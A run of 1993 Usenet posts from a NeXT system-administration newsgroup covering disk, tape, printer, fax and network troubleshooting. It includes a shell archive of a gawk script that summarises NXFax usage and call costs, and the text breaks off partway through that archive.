it does not need to be a fully fledged system - just something I can use to try and recover/restore my disk. Any constructive advice would be greatly appreciated. -- Riel Smit gds@cs.uct.ac.za Computer Science gds%cs.uct.ac.za@rain.psg.com University of Cape Town "We have been captured by the thieves in the night"
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: tabs@netcom.com (Network Account) Subject: Solved: Booting 3.0 from a Fujitsu M2624F Message-ID: <tabsC568s4.EEK@netcom.com> Followup-To: comp.sys.next.sysadmin Summary: Disabling synchronous transfer allowed Fujistsu M2624 to boot Keywords: Synchrounous transfer, Fujitsu M2624, Booting problems, SCSI Error Sender: tabs@netcom.com Organization: Netcom Online Communications Services (408-241-9760 login: guest) Date: Thu, 8 Apr 1993 15:38:27 GMT Hi, I had reported a problem in booting from Fujistsu M2624 after building it for NS3.0 That problem was solved by removing the appropriate jumpers and disabling Synchrounous transfer. I got the clue from an old document fujitsu.recipe by Izumi Ohzawa. Rory Bolt was quoted in the document as offering this insight into SCSI problems caused by synchronous transfer enabled on Fujitsu drives. I also got messages that gave the same suggestions from Paul Martin Trunz <trunz@inf.ethz.ch> mheubi@pws3.itr.ch (Matthias Heubi) Thanks to everone who responded tabs@netcom.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: tabs@netcom.com (Network Account) Subject: Solved: Problems with QIC tape drive - Archive Viper 150 Message-ID: <tabsC5696v.EtD@netcom.com> Followup-To: comp.sys.next.sysadmin Summary: Running a program to used fixed block sizes solved tape problems Keywords: SCSI tape drive, QIC, Archive Viper 150, fixed block size Sender: tabs@netcom.com Organization: Netcom Online Communications Services (408-241-9760 login: guest) Date: Thu, 8 Apr 1993 15:47:18 GMT Hi, We had a problem with a new Archive Viper 150, SCSI tape drive (QIC format). We were getting tar: tape I/O erros, even after trying various device drivers on the next, including rst0, nrst0 etc. Our problem was solved by checking into archived postings of csn.sysadmin group. There was an old posting giving a program fblock.c to set the SCSI tape driver to a fixed block size. After that the tape drive worked flawlessly!! tabs@netcom.com p.s. I am posting this to the net so that others can benifit from our experience. I am setting the distribution to world, since most of useful solutions for our previous problems originated from outside of USA.
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: NeXTOS and PPD files!?!?! Message-ID: <1993Apr8.112027.189@news.cs.indiana.edu> Organization: Objectario References: <C52wEI.KL3@dove.nist.gov> Date: Thu, 8 Apr 1993 11:20:16 -0500 >The problem is that NeXTSTEP does NOT insert the >code for paper tray selection unless I save the postscript to disk with the >selection of "Postscript for Chosen Printer". > >Is there a way to PRINT with "Postscript for Chosen Printer"???? Disclaimer: I am going to answer this question based on my experience with spooling to a remote QMS printer, and I assume the answer in your case is related to the problems I had here. But I could be wrong. QMS's use their own remote-spooling code rather than the Unix lpd protocol, but I suspect this problem is related to remote non-NeXT-hosted printers in general. This is an annoying problem, but there is a workaround. The problem is that the code for paper tray selection is inserted into your document-to-be-printed as a PostScript comment, like this: %%Feature: *InputSlot Envelope and at some stage in the printing pipeline, this needs to be converted to actual postscript code to implement the feature, like this: %%BeginFeature: *InputSlot Envelope 3 statusdict /setpapertray get exec %%EndFeature When you print to a remote printer, it's assumed that the printing software on the remote end will take care of converting comments to code. Alas this doesn't always happen, especially when the remote printer is a directly-networked printer. In our case we had a QMS1700 with Ethernet interface which wasn't doing the right conversion. The workaround is to modify the printer defninition in NetInfo to run an input filter over the PostScript code before sending it off to the remote printer. You want a filter that converts the appropriate comments to the appropriate code. It just so happens that /NextLibrary/Services/PrintFilters.service/psprepare is such a filter. It takes a "-Pprintername" option. In our case, the QMS printer setup was already using a special input filter called "qfilter" to spool jobs over the network to the printer - i.e. there was an "if" property with value "/usr/local/lib/qfilter". (in traditional printcap terminology, ":if=/usr/local/lib/qfilter:") So, I created a trivial little shell script called NeXT_QMS_prefilter that looked like this #!/bin/sh /NextLibrary/Services/PrintFilters.service/psprepare -PQMS | /usr/local/lib/qfilter $* and modified netinfo so the value of the "if" property for the printer named "QMS" was "/usr/local/lib/NeXT_QMS_prefilter". that filter will be run with the data to be printed on stdin, and it just runs psprepare to change comments-to-code and hands everything off to QMS's supplied qfilter program, which handles remote spooling. If I was really doing this right I would parse the options that are passed to the input filter, and figure out the printer name from there (the filter is supplied "-p printername") so that I wouldn't have to embed "-PQMS" in the script itself. I am not sure what exactly you would need to do for the Tektronix since you can spool to it directly (without needing this "qfilter" hack.) Just make up a little script that runs "psprepare -PTextronix", and its output will go to stdout, and it should be spooled to the printer properly. I understand that in 3.1 there is an easier fix for this but I don't know what it is. Good luck, Steve Hayman Trimark Investment Management, Toronto shayman@trimark.com P.S. I am indebted (indirectly) to Mike_Byron and Allan_Denison at NeXT who explained this to me (indirectly, in a previous life :-)
From: M_Carling@BlueRose.com (M Carling) Newsgroups: comp.sys.next.sysadmin Subject: Re: Bad super-block...now what? Message-ID: <1993Apr6.165750.9816@bluerose.com> Date: 6 Apr 93 16:57:50 GMT References: <1993Apr6.071515.7748@ncsa.uiuc.edu> Sender: m@bluerose.com Distribution: na Organization: Blue Rose Systems, Inc. In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu (Kenneth Chang) writes: > In the process of trying to upgrade from 2.1 to 3.0, I appear to have > severely hosed the hard disk. How many times do I have to post that 2.1 to 3.0 should be done using BuildDisk.app rather than Upgrade.app? M Carling President, Bay Area NeXT Group
From: M_Carling@BlueRose.com (M Carling) Newsgroups: comp.sys.next.sysadmin Subject: Re: Help needed setting up sendmail/smail & b/cnews Message-ID: <1993Apr7.051752.1016@bluerose.com> Date: 7 Apr 93 05:17:52 GMT References: <C53332.5op@mentor.cc.purdue.edu> Sender: m@bluerose.com Distribution: na Organization: Blue Rose Systems, Inc. In article <C53332.5op@mentor.cc.purdue.edu> aru@sonata.cc.purdue.edu (Sri Ramkrishna) writes: > As for news, I've read that c-news is much better than b-news. Could > anybody help in pointing me in the right direction here? If you receive NeXTmail, I can send you BANG's Cnews.pkg, preconfigured for NeXTSTEP. Otherwise we can sell you a floppy for several dollars. M Carling President, Bay Area NeXT Group
Newsgroups: comp.sys.next.sysadmin From: Michael_Pizolato@afs.com Subject: Re: fax Cover Sheet Message-ID: <1993Apr8.173320.1069@afs.com> Sender: Michael_Pizolato@afs.com References: <1993Apr8.072212.26073@urz.unibas.ch> Distribution: usa Date: Thu, 8 Apr 1993 17:33:20 GMT In article <1993Apr8.072212.26073@urz.unibas.ch> writes: > In article <1993Apr7.141121.1678@afs.com> writes: > > In article <C4tKE8.DxK@northstar.com> ried@northstar.com (A Ried Thiel) > > writes: > > > I am trying to modify the Cover sheet for faxes. I would like to know if > > > there is any documentation. I know how to basic things but I would like > > > to create a new form so that the phone number of the person I am calling > > > is automatically put on the cover sheet. > > > > > > Is this possible? If so how? Also I would like to format the date into > > > a more standard format. Is this possible? > > > > I copied the file /NextLibrary/Fax/English.lproj/Cover.draw into > > ~/Library/Fax/MRPCover.draw. You can modify it any way you like, and it > > appears as one of the cover letter choices when you press Edit from the > > Fax panel. In fact, since I only have one file in that directory, it > > comes up as the default choice. > > > > Note that you can't put it in ~/Library/Fax/English.lproj because it > > won't come up as a choice as above. At least that's true on my system; > > I'm running NS3.0. Also, I don't recommend changing the original > > /NextLibrary/Fax/English.lproj/Cover.draw directly, just because I have > > a sysadmin's healthy fear of touching anything from the vendor. > > Override it with a local copy, yes, but don't change the original. > > > > Hope this helps, > > Michael > > > > -- > > Michael_Pizolato@afs.com If you can't control your peanut > > ~18 kyu butter, how can you e xpect to > > Q16 control the rest of your life? > > NeXTMail appreciated - Calvin > > All nice suggestions, unless you are a systemmanger and responsible for a > system wide, unified fax cover. In this case I WILL (copy and then) edit > directly in the system directories. Well, you shouted first... :-) DON'T DO THAT! Simply create /LocalLibrary/Fax and put your modified copy there. If /LocalLibrary is shared among all machines (as it will be at any well-managed site) your central copy will appear in everyone's popup when they press Edit in the Fax panel. There's always a way to avoid modifying files in the system directories, and it's almost never painful. -m -- Michael_Pizolato@afs.com If you can't control your peanut ~18 kyu butter, how can you expect to Q16 control the rest of your life? NeXTMail appreciated - Calvin
Newsgroups: comp.sys.next.sysadmin From: wagner!beckers (Becki Kain) Subject: network troubles Message-ID: <1993Apr7.130504.181@imagine.com> Sender: beckers@imagine.com Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA Date: Wed, 7 Apr 1993 13:05:04 GMT hello all: we have about 14 nexts and two decs on a straightline thin-net which is flaking out lately. this is the error that shows up on our server when the net goes down: Apr 6 18:31:32 wagner mach: spurious DMA interrupt: state 0x1000000 channel 0x2000110 Apr 6 18:31:32 wagner mach: The network is disabled or your computer isn't connected to it. Apr 6 18:31:36 wagner mach: nfs_server: bad sendreply from 192.42.172.10 does anyone know what the dma error is? the net seems fine when only a few of the mahcines are turned on/and few users on. thanks beckers -- Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com "oh boy oh boy oh boy" bauhaus nextmail welcome
Newsgroups: comp.sys.next.sysadmin From: Mike_Matlack@afs.com Subject: Problems extracting from Sun floppy with tar Message-ID: <1993Apr8.175308.1145@afs.com> Sender: Mike_Matlack@afs.com Date: Thu, 8 Apr 1993 17:53:08 GMT How can I extract a tar file off a floppy that was formatted on a Sun. The person who sent me the disk formatted the floppy on the sun and then tar'd the file directly to the disk (tar cvf /dev/fd0). When I try to tar the file, I get the ever informative "tar tape read error: io error". Thanks, Mike --- Michael J. Matlack Anderson Financial Systems Mike_Matlack@afs.com (NeXTmail OK)
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Newsgroups: comp.sys.next.sysadmin From: ast@avalon.physik.unizh.ch (Adrian Steinmann) Subject: NXFax logfile summary Message-ID: <1993Apr8.212118.20237@ifi.unizh.ch> Summary: Report on Fax Usage Keywords: NXFax logfile fax usage Sender: news@ifi.unizh.ch (USENET News Admin) Organization: Informatik Club Uni Zurich Date: Thu, 8 Apr 1993 21:21:18 GMT Are you running NXFax 1.02 or 1.03 ? Then surely you'd like a report like this from time to time: -------!!------------!!-------------!!-------------!!------------!!------- NXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17 SEND FAX Date Time Number pgs res kbps xmt conn errors 23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors. 23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors. 1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors. 6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors. 11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors. 19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors. 25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors. 27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors. Cost summary connect cost International calls: 0:08:33 ~ 7.37 DM calls within Germany: 0:00:00 ~ 0.00 DM Total cost: 7.37 DM Total transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page RECEIVE FAX Date Time Number pgs res kbps xmt errors 16 Jan 09:28:36 1 hi 9.6 02:47 No errors. 17 Feb 08:39:57 2 hi 4.8 02:51 No errors. 19 Feb 17:09:12 1 hi 9.6 00:33 No errors. 19 Feb 17:20:47 1 hi 9.6 00:38 No errors. 26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors. Total transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page -------!!------------!!-------------!!-------------!!------------!!------- Well, if you would, just cut here and unpack using /bin/sh. ------>c ------------>c ------------>c ------------>c------------>c------- #! /bin/sh # This is a shell archive, meaning: # 1. Remove everything above the #! /bin/sh line. # 2. Save the resulting text in a file. # 3. Execute the file with /bin/sh (not csh) to create the files: # nxfaxsummary # This archive created: Thu Apr 8 22:48:07 1993 # By: Adrian Steinmann <ast@lia.di.epfl.ch> export PATH; PATH=/bin:$PATH if test ! -d 'nxfaxsummary' then echo shar: creating directory "'nxfaxsummary'" mkdir 'nxfaxsummary' fi echo shar: entering directory "'nxfaxsummary'" cd 'nxfaxsummary' echo shar: extracting "'nxfaxsummary.sh'" '(15539 characters)' if test -f 'nxfaxsummary.sh' then echo shar: will not over-write existing file "'nxfaxsummary.sh'" else sed 's/^X//' << \NeXT! > 'nxfaxsummary.sh' X#!/bin/sh - X# X# NXFax accounting 1.0 - a gawk script to summarize NXFax usage X# by Andreas Mueller [afm@mathi.uni-heidelberg.de] and X# Adrian Steinmann [ast@lia.di.epfl.ch] X# X# XPATH=/bin:/usr/bin:/usr/ucb:/etc:/usr/etc XIFS=' X' Xexport PATH IFS X# XTRIMDAYS=30 # how many days to wait between trimming XKEEPLINES=200 # how many lines to inherit when trimming X# X# define LOGFILE here, possibly override later X# X# NXFax 1.03 uses /usr/adm/nxfax/nxfaxlog XNXFAXDIR=/usr/adm/nxfax Xif [ ! -d ${NXFAXDIR} ] Xthen X # NXFax 1.02 uses /etc/nxfax/nxfaxlog X NXFAXDIR=/etc/nxfax X if [ ! -d ${NXFAXDIR} ] X then X echo "Fatal error: Cannot find NXFax log file directory" >&2 X usage X fi Xfi X# XLOGFILE=${NXFAXDIR}/nxfaxlog X# X# OLOGFILE is where we put the log file when we trim X# XOLOGFILE="${LOGFILE}.old" X# X# COSTFILE, usually in same directory as logfile, possibly override below X# X: ${COSTFILE:=${NXFAXDIR}/nxfax.cost} X# X# we use GNU awk for builtin and custom functions X# XGAWK=/usr/local/bin/gawk X# X# this is what we say as a heading and subject line in case of mail (-m option) X# XWELCOME="NXFax Accounting @ `hostname`" X# X# CMD may be changed to "Mail -s '${WELCOME}' $recipients" below (-m option) X# XCMD=cat X# Xexport CMD WELCOME GAWK COSTFILE LOGFILE OLOGFILE NXFAXDIR KEEPLINES TRIMDAYS X# X# temporary files are cleanup up on exit or trap X# XTMPFHED=/tmp/faxhed$$ XTMPFSND=/tmp/faxsnd$$ XTMPFCST=/tmp/faxcst$$ XTMPFPAR=/tmp/faxcst$$ XTMPFRCV=/tmp/faxrcv$$ XTMPFSUM=/tmp/faxsum$$ X# Xexport TMPFHED TMPFSND TMPFCST TMPFPAR TMPFRCV TMPFSUM X# Xumask 077 X# Xhelp () X{ Xecho Xcat<<!! XThis shell script uses GNU-awk '$GAWK' to Xparse log files generated by NXFax versions 1.02 and 1.03. By Xdefault, the script will search for a NXFax log file in the Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". It will Xalso look for a file called "nxfax.cost" in that directory Xdescribing the calling costs for various times and phone Xprefixes. For an example cost description file, invoke this Xscript with the option "-sample". If the cost description file Xis missing, a simple grand total summary is calculated. XAlternate cost description or NXFax log files can be specified Xvia the -c and -l options respectively. With the option -m X<address_list>, the summary is sent to the recipients Xspecified in address_list. X!! Xecho Xusage X} X# Xusage () X{ X echo "Usage: $0 [ -help | -sample ]" >&2 X echo " $0 [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ]" >&2 X exit 1 X} X# Xcleanup () X{ X rm -f ${TMPFHED} ${TMPFSND} ${TMPFPAR} ${TMPFCST} ${TMPFRCV} ${TMPFSUM} X} X# X# note that NXFax 1.02 and 1.03 trims itself to 1000 lines at startup time X# Xtrimlog () X{ Xif [ -f ${OLOGFILE} ] Xthen X (find ${OLOGFILE} -mtime +${TRIMDAYS} -print | X grep ${OLOGFILE} ) > /dev/null 2>&1 X if [ $? -eq 0 ] X then X ( cp -p ${LOGFILE} ${OLOGFILE} && X tail -${KEEPLINES} ${LOGFILE}.old > ${LOGFILE} && X echo "${LOGFILE} rotated to ${OLOGFILE}, ${KEEPLINES} lines kept" X ) 2> /dev/null X fi Xelse X # if the old file doesn't exist, create it today so that X # trimlog() will begin to rotate after ${TRIMDAYS} X touch ${OLOGFILE} Xfi X} X# Xsample () X{ Xcat<<!! X# Sample cost desciption file: '${NXFAXDIR}/nxfax.cost' X# X# This file is used by the nxfaxsummary shell script to compute the X# approximate costs of outgoing fax traffic. Its precision depends X# highly on the amount of detail given in this file. X# X# FORMAT DESCRIPTION - there are three types of lines: X# X# $<currency-string> X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments> X# +<prefix>:<comments> X# X# The '$' line defines a currency string to be used in the summary. X# Lines beginning with ':' define cost computation parameters. X# Lines beginning with '+' are called summary lines and are used X# to indicate how costs should be summarized by nxfaxsummary.sh X# X# The script scans the called phone number and uses the parameters X# associated with the first matching <prefix> to compute the costs X# for such a call. If t is the connect time in seconds, then the X# cost is computed according to the formula X# X# cost = connect-cost + (t/unit-time)*unit-cost X# X# connect-cost is the minimum fee per connection (0 in most situations) X# this can be used to account for connect time measured X# by NXFax which is usually shorter than the effective X# duration of a call including initial handshake time; X# unit-time is the duration (in seconds) of a time unit; X# unit-cost is the price of one such unit-time. X# X# In the final summary, these computations are cumulatively grouped X# according to the prefixes in the summary lines (the '+' lines). X# X# Empty lines and lines beginning with a '#' are ignored. X# X# EXAMPLE COST DESCRIPTION (for Germany) X\$DM X:0041:0:12:0.23:Calls to Switzerland X:00:0:12:0.23:Other international calls X+00:International calls: X:0:0:60:0.23:Long distance calls within Germany (Regionalzone) X::0:360:0.23:Local calls X+:Calls within Germany: X# X# The cost description file should always include a line beginning X# with an empty prefix string, this is used as the default for phone X# numbers that don't match any other prefix. The same is true for X# summary lines. Note that the comments of the summary lines are X# used as line item titles, hence they are often ended with a ':'. X# X# In other words, a minimum cost file may consist of just three lines: X# X# \$\$ X# ::0:3600:1.20:Detailed cost description X# +:Detailed summary description: X# X# If no cost description file is found nor specified, then a simple total X# transmit time and average per page is output. X# X# Most phone companies charge differently during and after business hours X# - use the parameters that are likely to be valid when *you* send faxes. X# X# To be done: - differentiate between rates during different time periods X# X!! Xexit 0 X} X# Xtrap 'cleanup; exit 9' 2 3 15 X# X# parse options - default is output to stdout (use -m option to mail) X# Xdorecipients=0 Xdocost=0 Xdolog=0 Xwhile [ $# -gt 0 ] Xdo X while [ $dorecipients -ge 1 -a $# -gt 0 ] X do X dorecipients=2 X case x$1 in X x-*) X break X ;; X *) X recipients="$recipients $1" X CMD="Mail -s '${WELCOME}' $recipients" X shift X ;; X esac X done X if [ $dorecipients -eq 2 -a `echo $recipients | wc -w` -eq 0 ] X then X echo "Fatal error: -m option lacks at least one addressee" >&2 X usage X else X dorecipients=0 X fi X if [ $docost -eq 1 -o $dolog -eq 1 ] X then X if [ $# -gt 0 ] X then X if [ ! -r $1 ] X then echo "Fatal error: file '$1' unreadable" >&2 X usage X else X if [ $dolog -eq 1 ] X then X LOGFILE=$1 X dolog=2 X else X COSTFILE=$1 X docost=2 X fi X fi X shift X else X echo "Fatal error: option lacks an argument" >&2 X usage X fi X fi X case x$1 in X x-m) X shift X if [ $dorecipients -ne 0 -o $# -lt 1 ]; then usage; fi X dorecipients=1 X ;; X x-c) X if [ $docost -ne 0 ]; then usage; fi X shift; docost=1 X ;; X x-l) X if [ $dolog -ne 0 ]; then usage; fi X shift; dolog=1 X ;; X x-h*) X help X ;; X x-s*) X sample X ;; X x-*) X usage X ;; X *) X dolog=1 X ;; X esac Xdone X# Xif [ ! -r $LOGFILE ] Xthen X echo "Fatal error: Log file '${LOGFILE}' unreadable" >&2 X usage Xfi XOLOGFILE="${LOGFILE}.old" X# X# Finally do some real work: find first and last date in logfile X# X( echo -n "\n${WELCOME} " X ${GAWK} ' X BEGIN { found=1; } X $3 ~ /Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \ X { date=sprintf("%2d %s %d %s",$5,$4,$7,$6); X if (found) { printf("from %s ",date) X found=0 } X } X END { printf("to %s\n",date); }' ${LOGFILE} X) > ${TMPFHED} 2>&1 X# X# now search logfile for faxes sent, collect information in ${TMPFSND} X# X${GAWK} \ X 'function resetvars() { connected=false; call=false X speed="?"; res="?"; errors="?"; number="?" X ctime="?"; ttime="?"; pages=0 X date=" ? ? ? "; calldate=date X } X function printsummary() { printf("%16s %-20s %3s %2s %4s %5s %5s %s\n", X calldate,number,pages,substr(res,1,2), X speed, X ttime,ctime,errors) X } X XBEGIN { true=1; false=0; resetvars() } X$3 ~ /(Sun)|(Mon)|(Tue)|(Wed)|(Thu)|(Fri)|(Sat)/ \ X { date=sprintf("%2d %s %s",$5,$4,$6) } X# Note that NXFax 1.03 frequently contains the line X# "%> NXFax: caller id or silent answer forces rings to 3" X$3 ~ /call/ { if ($4 !~ /complete/ && $8 !~ /forces/ ) { X call=true; number=substr($0,15,20) X } X } X$3 ~ /line/ { if ($4 ~ /busy/) { calldate=date } } X$3 ~ /Connected/ { if (call==true) { connected=true; calldate=date } } X$4 ~ /resolution/ { res=$3 } X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) } X$3 ~ /page/ { pages=$4 } X$3 ~ /hangup/ { if ( substr($3, 8, 1) == "0" ) X { errors=$4" "$5 } X else X { errors="Hangup ERROR" } X } X/connect time/ { ctime=$5 } X/transmit time/ { ttime=$5 X if (connected) { X printsummary() X } X resetvars() X } X$4 ~ /halt|busy/ { if (call) { X printsummary() X resetvars() X } X } X/no carrier/ { if (call) { X calldate=date; errors="no carrier" X printsummary() X resetvars() X } X } X X' ${LOGFILE} > ${TMPFSND} 2>&1 X# X# X# use the information collected in the previous step to get a X# more accurate cost computation: X# Xif [ ! -r $COSTFILE ] Xthen X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,19,20) }' \ X ${TMPFSND} | ${GAWK} ' X BEGIN { transmit=0; pages=0; } X $1 !~ /\?/ { pages+=$2; split($1,ttime,":") X transmit+=60*ttime[1]+ttime[2] } X X END { X time_h=int(transmit/3600); time_s=transmit-3600*time_h; X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\ X time_h,time_s/60,time_s%60,pages) X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages) X printf("\n") X } X ' > ${TMPFCST} 2>&1 Xelse X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,60,5)\ X " "substr($0,19,20) }' ${TMPFSND} \ X | ${GAWK} -v costparamfile=${COSTFILE} ' X BEGIN { # initialize parameter arrays X "sed -n -e s/\\^\\\\$//p "costparamfile | getline currency X close("sed -n -e s/\\^\\\\$//p "costparamfile) X FS=":"; counter=0; X while ("sed -n -e s/\\^://p "costparamfile | getline ) { X counter++ X costp[counter,"prefix"]=$1 X costp[counter,"connect"]=$2 X costp[counter,"tunit"]=$3 X costp[counter,"unitc"]=$4 X } X close("sed -n -e s/\\^://p "costparamfile) X max=counter X s=0 X while ("sed -n -e s/\\^\\+//p "costparamfile | getline) { X s++ X summa[s,"prefix"]=$1 X summa[s,"comment"]=$2 X for (i=3; i<=NF; i++) X summa[s,"comment"]=summa[s,"comment"]":"$i X } X summax=s; FS=" " X transmit=0; pages=0; X } X X $2 !~ /\?/ { pages+=$2; split($1,ttime,":") X transmit+=60*ttime[1]+ttime[2] } X $4 !~ /\?/ {# on every line where you have number and connect time, X # do the following X if ( $3 !~ /\?/ ) { X split($3,timing,":"); time=60*timing[1]+timing[2]; X counter=1; found=0; X while (counter<=max && !found) { X if ( index($4,costp[counter,"prefix"])==1 ) { X found=1 X cost[counter,"time"]+=time X cost[counter,"cost"]+=(costp[counter,"connect"]+ \ X time*costp[counter,"unitc"]/costp[counter,"tunit"]) X } else if ( length(costp[counter,"prefix"])==0 ) { X cost[counter,"time"]+=time X cost[counter,"cost"]+=(costp[counter,"connect"]+ \ X time*costp[counter,"unitc"]/costp[counter,"tunit"]) X } X counter++ X } X } X } X X END { X for (counter=1; counter<=max; counter++) { X s=1; found=0; X while (s<=summax && !found) { X if ( index(costp[counter,"prefix"],summa[s,"prefix"])==1 ) { X found=1 X summa[s,"time"]+=cost[counter,"time"] X summa[s,"cost"]+=cost[counter,"cost"] X } else if ( length(summa[s,"prefix"])==0 ) { X found=1 X summa[s,"time"]+=cost[counter,"time"] X summa[s,"cost"]+=cost[counter,"cost"] X } X s++ X } X } X X # output collected information X for (s=1; s<=summax; s++) { X time_h=int(summa[s,"time"]/3600); X time_s=summa[s,"time"]-3600*time_h; X printf("%-45s\t%2d:%02d:%02d ~%7.2f %s\n", \ X summa[s,"comment"],time_h,time_s/60,time_s%60, \ X summa[s,"cost"],currency) X totalcost+=summa[s,"cost"] X } X printf("%-45s\t\t %8.2f %s\n","Total cost:", totalcost, \ X currency) X time_h=int(transmit/3600); time_s=transmit-3600*time_h; X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\ X time_h,time_s/60,time_s%60,pages) X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages) X printf("\n") X } X ' > ${TMPFCST} 2>&1 X Xfi X# X# now search logfile for faxes received, collect information in ${TMPFRCV} X# X${GAWK} ' Xfunction resetvars () { connected=false; call=false; X speed="?"; res="?"; errors="?"; number="?" X ctime="?"; ttime="?"; pages=0; X calldate=" ? ? ? " X } XBEGIN { true=1; false=0; resetvars(); t_ttime=0 } X$3 ~ /Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \ X { date=sprintf("%2d %s %s",$5,$4,$6) } X# this might be special to NXFax 1.02 X/%> NXFax: incoming call/ { call=true; calldate=date } X/%> NXFax: fax call/ { if (call) connected=true } X# this might be special to NXFax 1.03 X/%> NXFax: from/ { if (connected) { X calldate=date X number=substr($0,15,20) } X } X$4 ~ /halt/ { connected=false; call=false } X$4 ~ /resolution/ { res=$3 } X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) } X$3 ~ /page/ { pages=$4 } X$3 ~ /hangup/ { if ( substr($3, 8, 1) == 0 ) X { errors=$4" "$5 } X else X { errors="Hangup ERROR" } X } X/transmit time/ { ttime=$5 X if (connected) { X if (number=="call") { number="?" } X printf("%16s %-20s %3s %2s %s %5s %s\n", X calldate,number,pages,substr(res,1,2), X speed,ttime,errors) X split(ttime,ttimecomp,":") X t_ttime+=ttimecomp[1]*60+ttimecomp[2] X t_pages+=pages X } X resetvars() X } X# this can happen on an error like X# %> NXFax: hangup[70]: Unspecified receive Phase B error. X/call complete/ { if (connected) { X printf("%16s %-20s %3s %2s %s %5s %s\n", X calldate,number,pages,substr(res,1,2), X speed,ttime,errors) X split(ttime,ttimecomp,":") X t_ttime+=ttimecomp[1]*60+ttimecomp[2] X t_pages+=pages X } X resetvars() X } XEND { X t_th=int(t_ttime/3600); t_ttime-=3600*t_th; X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\ X t_th,t_ttime/60,t_ttime%60,t_pages); X if ( t_pages != 0) { printf("\t~ %8.2f sec/page\n",t_ttime/t_pages) } X printf("\n") X }' ${LOGFILE} > ${TMPFRCV} 2>&1 X# X# Concatenate collected data X# X( X cat ${TMPFHED} X if [ `wc -l ${TMPFSND} | awk -e '{print $1}'` -gt 0 ] X then X echo "\n SEND FAX\n" X echo "Date Time Number pgs res kbps xmt conn errors\n" X cat ${TMPFSND} X if [ -r $COSTFILE ] X then X if [ `wc -l ${TMPFCST} | awk -e '{print $1}'` -gt 0 ] X then X echo "\nCost summary\t\t\t\t\t connect cost" X cat ${TMPFCST} X fi X else X cat ${TMPFCST} X fi X fi X if [ `wc -l ${TMPFRCV} | awk -e '{print $1}'` -gt 2 ] X then X echo "\n\n RECEIVE FAX\n" X echo "Date Time Number pgs res kbps xmt errors\n" X cat ${TMPFRCV} X fi X echo X) > ${TMPFSUM} 2>&1 X# Xif [ `wc -l ${TMPFSUM} | awk -e '{print $1}'` -gt 3 ] Xthen X cat ${TMPFSUM} | eval ${CMD} Xfi X# Xcleanup X# Xexit 0 NeXT! if test 15539 -ne "`wc -c < 'nxfaxsummary.sh'`" then echo shar: error transmitting "'nxfaxsummary.sh'" '(should have been 15539 characters)' fi chmod +x 'nxfaxsummary.sh' fi # end of overwriting check echo shar: extracting "'README'" '(1776 characters)' if test -f 'README' then echo shar: will not over-write existing file "'README'" else sed 's/^X//' << \NeXT! > 'README' X XNXFAXSUMMARY 1.0 April 8, 1993 X XThis shell script reads the log file of NXFax versions 1.02 and X1.03 and summarizes Fax traffic. X XUSAGE X nxfaxsummary.sh [ -help | -sample ] X nxfaxsummary.sh [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ] X XBy default, the script will search for a log file in the Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". An Xalternate log file can be specified with the option -l or as Xfirst argument to the script. X XIt will also look for a file called "nxfax.cost" in that Xdirectory describing the calling costs for various times and Xphone number prefixes. Invoking the script with the option X"-sample" will print a sample nxfax.cost. An extremely Xdetailed example is contained in nxfax.cost.detailed. An Xalternate cost description file can be specified with the Xoption "-c <costfile>". If no readable cost description file Xis found, only a summary of transmit time and average transmit Xtime per page is calculated. X XWith the option -m <address_list>, the summary is sent to the Xrecipients specified in address_list. X XINSTALLATION X XCopy the files nxfaxsummary.sh and nxfax.cost into X/etc/nxfax if you use NXFax version 1.02, or into X/usr/adm/nxfax if you use NXFax version 1.03. you need to have Xsuperuser privileges to do this. Edit nxfax.cost as Xappropriate for your site, see the instructions in Xnxfax.cost. X XLIMITATIONS X XThe cost computation does not care about the time of day a fax Xwas sent, even though most phone companies charge differently Xoutside of business hours. X XAUTHORS X XAndreas Muller XMathematisches Insitut der Universitaet XIm Neuenheimer Feld 288 XW-6900 Heidelberg 1 XGermany X[afm@mathi.uni-heidelberg.de] X XAdrian Steinmann XSteinmann Consulting XApollostrasse 21 XCH-8032 Zurich XSwitzerland X[ast@lia.di.epfl.ch] NeXT! if test 1776 -ne "`wc -c < 'README'`" then echo shar: error transmitting "'README'" '(should have been 1776 characters)' fi fi # end of overwriting check echo shar: extracting "'nxfax.cost'" '(2263 characters)' if test -f 'nxfax.cost' then echo shar: will not over-write existing file "'nxfax.cost'" else sed 's/^X//' << \NeXT! > 'nxfax.cost' X# X# NXFax Summary cost computation parameter file X# X# this file is read by nxfaxsummary.sh and used to compute X# approximate 